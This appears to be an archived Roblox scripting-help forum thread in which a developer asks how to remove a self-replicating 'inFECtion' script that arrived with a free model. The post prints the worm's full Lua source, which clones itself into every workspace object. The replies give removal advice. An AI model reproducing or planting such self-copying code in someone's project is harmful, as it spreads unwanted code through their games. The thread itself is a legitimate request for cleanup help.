Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
COMMUNITY QUESTION

How do you get rid of this annoying Lua virus?

I was creating a game a few days ago and put a free model in. All of a sudden there were tons of inFECted items under each part in my game. Under the inFECted there was a script called "script..... or is it?" The script kept duplicating. I tried some different virus removers for it but it didn't work. I also deleted all of my Plugins. I also noticed that the script duplicated into every one of my games. (I have 24 different games.) I feel like it is almost impossible to get rid of this annoying script. I have literally tried everything. Can someone please help me?

Here is what the inside of the script looks like:

if script.Parent.className ~= "RotateP" then local p = Instance.new("RotateP") p.Parent = workspace p.Name = "INfecTION" script.Parent = p end

function check() local list = workspace:GetChildren() for i = 1, #list do if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then script.Parent:Clone().Parent = list[i] end wait() end end

while true do check() if workspace:findFirstChild("inFECtion") == nil then local main = script.Parent:Clone() main.Name = "inFECtion" main.Parent = workspace end wait(3) end

2 comments

0

your best bet is to restore old versions of the game

0

I've run into this issue before, and here's a fix. Paste this in the command bar, replace FreeModelName with the name of your infected model, and if the ClassName of each virus is different from what I have, replace it with that:                                                      for _, item in pairs(game.Workspace:FindFirstChild("FreeModelName"):GetDescendants()) do if item.ClassName == "Rotate

3 answers

I don't know if you've tried this already, but it worked for me. Go into Studio Settings and enable "Show Hidden Objects in Explorer", then look through explorer for anything odd. If there's anything that doesn't seem like something Roblox would make, then go ahead and delete it. If you want to be sure you're not deleting anything important, I would recommend checking developer.roblox.com or the internet to see if it should be there. If that doesn't work, you might just have to revert to an older version of the game or return it to a blank baseplate.

1 comment

0

Best answer ^^^

Try to remove the model?

1 comment

0

I got rid of every model. It still wont work.

In studio, View > Find > Search for some common words (virus, infection, anything that may work that you haven't used in other scripts) and attempt to go from there?

Hope this works

This discussion is preserved as it was. New answers, comments, and votes are closed.